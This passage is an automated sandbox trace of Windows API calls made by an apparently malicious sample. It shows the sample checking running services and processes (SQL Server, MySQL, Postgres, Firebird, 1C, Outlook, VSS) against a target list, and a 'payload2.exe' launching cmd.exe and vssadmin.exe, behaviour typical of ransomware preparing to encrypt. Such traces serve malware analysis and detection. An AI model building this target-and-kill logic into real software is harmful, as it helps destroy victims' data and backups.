-1 [0036.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0036.708] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0036.708] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0036.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0036.708] lstrlenW (lpString="VSS") returned 3 [0036.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0036.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0036.708] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0036.708] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0036.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0036.708] lstrlenW (lpString="WdiServiceHost") returned 14 [0036.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0036.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0036.708] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0036.708] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0036.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0036.708] lstrlenW (lpString="WdiSystemHost") returned 13 [0036.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0036.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0036.708] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0036.708] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0036.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0036.708] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0036.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0036.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0036.708] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0036.708] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0036.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0036.708] lstrlenW (lpString="Winmgmt") returned 7 [0036.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0036.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0036.708] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0036.709] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0036.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0036.709] lstrlenW (lpString="WPDBusEnum") returned 10 [0036.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0036.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0036.709] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0036.709] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0036.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0036.709] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x311da8 | out: hHeap=0x220000) returned 1 [0036.709] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ac [0036.711] Process32FirstW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0036.712] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0036.712] lstrlenW (lpString="System") returned 6 [0036.712] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0036.712] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0036.712] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0036.712] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0036.712] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0036.712] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0036.713] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0036.713] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0036.713] lstrlenW (lpString="smss.exe") returned 8 [0036.713] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0036.713] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0036.713] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0036.713] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0036.713] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0036.713] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0036.713] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0036.713] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0036.714] lstrlenW (lpString="csrss.exe") returned 9 [0036.714] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0036.714] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0036.714] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0036.714] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0036.714] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0036.714] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0036.714] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0036.714] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0036.715] lstrlenW (lpString="wininit.exe") returned 11 [0036.715] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0036.715] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0036.715] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0036.715] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0036.715] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0036.715] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0036.715] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0036.715] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0036.716] lstrlenW (lpString="csrss.exe") returned 9 [0036.716] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0036.716] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0036.717] lstrlenW (lpString="winlogon.exe") returned 12 [0036.717] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0036.717] lstrlenW (lpString="services.exe") returned 12 [0036.717] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0036.718] lstrlenW (lpString="lsass.exe") returned 9 [0036.718] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0036.719] lstrlenW (lpString="lsm.exe") returned 7 [0036.719] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.719] lstrlenW (lpString="svchost.exe") returned 11 [0036.719] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.720] lstrlenW (lpString="svchost.exe") returned 11 [0036.720] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.721] lstrlenW (lpString="svchost.exe") returned 11 [0036.721] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.721] lstrlenW (lpString="svchost.exe") returned 11 [0036.722] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.722] lstrlenW (lpString="svchost.exe") returned 11 [0036.722] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0036.723] lstrlenW (lpString="audiodg.exe") returned 11 [0036.723] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.724] lstrlenW (lpString="svchost.exe") returned 11 [0036.724] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.724] lstrlenW (lpString="svchost.exe") returned 11 [0036.724] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0036.725] lstrlenW (lpString="dwm.exe") returned 7 [0036.725] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0036.726] lstrlenW (lpString="explorer.exe") returned 12 [0036.726] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0036.726] lstrlenW (lpString="spoolsv.exe") returned 11 [0036.726] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0036.727] lstrlenW (lpString="taskhost.exe") returned 12 [0036.727] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.728] lstrlenW (lpString="svchost.exe") returned 11 [0036.728] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0036.728] lstrlenW (lpString="taskeng.exe") returned 11 [0036.728] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0036.729] lstrlenW (lpString="taskhost.exe") returned 12 [0036.729] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="presidential.exe")) returned 1 [0036.730] lstrlenW (lpString="presidential.exe") returned 16 [0036.730] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ol-filing.exe")) returned 1 [0036.730] lstrlenW (lpString="ol-filing.exe") returned 13 [0036.730] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="overcome.exe")) returned 1 [0036.731] lstrlenW (lpString="overcome.exe") returned 12 [0036.731] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declinedreferral.exe")) returned 1 [0036.732] lstrlenW (lpString="declinedreferral.exe") returned 20 [0036.732] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="franciscotrack.exe")) returned 1 [0036.732] lstrlenW (lpString="franciscotrack.exe") returned 18 [0037.034] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nicholas.exe")) returned 1 [0037.035] lstrlenW (lpString="nicholas.exe") returned 12 [0037.035] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asbestosauthentication.exe")) returned 1 [0037.036] lstrlenW (lpString="asbestosauthentication.exe") returned 26 [0037.036] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="word.exe")) returned 1 [0037.036] lstrlenW (lpString="word.exe") returned 8 [0037.036] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="semestermeta.exe")) returned 1 [0037.037] lstrlenW (lpString="semestermeta.exe") returned 16 [0037.037] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reflects.exe")) returned 1 [0037.038] lstrlenW (lpString="reflects.exe") returned 12 [0037.038] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="beveragesradios.exe")) returned 1 [0037.039] lstrlenW (lpString="beveragesradios.exe") returned 19 [0037.039] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shaved_extraordinary.exe")) returned 1 [0037.039] lstrlenW (lpString="shaved_extraordinary.exe") returned 24 [0037.039] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ground.exe")) returned 1 [0037.040] lstrlenW (lpString="ground.exe") returned 10 [0037.040] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="least.exe")) returned 1 [0037.041] lstrlenW (lpString="least.exe") returned 9 [0037.041] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="meetings.exe")) returned 1 [0037.041] lstrlenW (lpString="meetings.exe") returned 12 [0037.041] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wooltestimony.exe")) returned 1 [0037.042] lstrlenW (lpString="wooltestimony.exe") returned 17 [0037.042] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="inexpensive.exe")) returned 1 [0037.043] lstrlenW (lpString="inexpensive.exe") returned 15 [0037.043] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="er-amd.exe")) returned 1 [0037.043] lstrlenW (lpString="er-amd.exe") returned 10 [0037.044] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="abandoned_frames.exe")) returned 1 [0037.044] lstrlenW (lpString="abandoned_frames.exe") returned 20 [0037.044] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0037.045] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0037.045] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0037.046] lstrlenW (lpString="mobsync.exe") returned 11 [0037.046] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0037.047] lstrlenW (lpString="dllhost.exe") returned 11 [0037.047] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0037.047] lstrlenW (lpString="dllhost.exe") returned 11 [0037.047] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0037.048] lstrlenW (lpString="payload2.exe") returned 12 [0037.048] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0037.049] lstrlenW (lpString="cmd.exe") returned 7 [0037.049] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0037.049] lstrlenW (lpString="conhost.exe") returned 11 [0037.049] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x940, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0037.050] lstrlenW (lpString="vssadmin.exe") returned 12 [0037.050] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0037.051] lstrlenW (lpString="VSSVC.exe") returned 9 [0037.051] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0037.052] CloseHandle (hObject=0x1ac) returned 1 [0037.052] Sleep (dwMilliseconds=0x1f4) [0037.841] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x29fe20 [0037.841] EnumServicesStatusExW (in: hSCManager=0x29fe20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 0 [0037.842] GetLastError () returned 0xea [0037.842] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x123e) returned 0x311da8 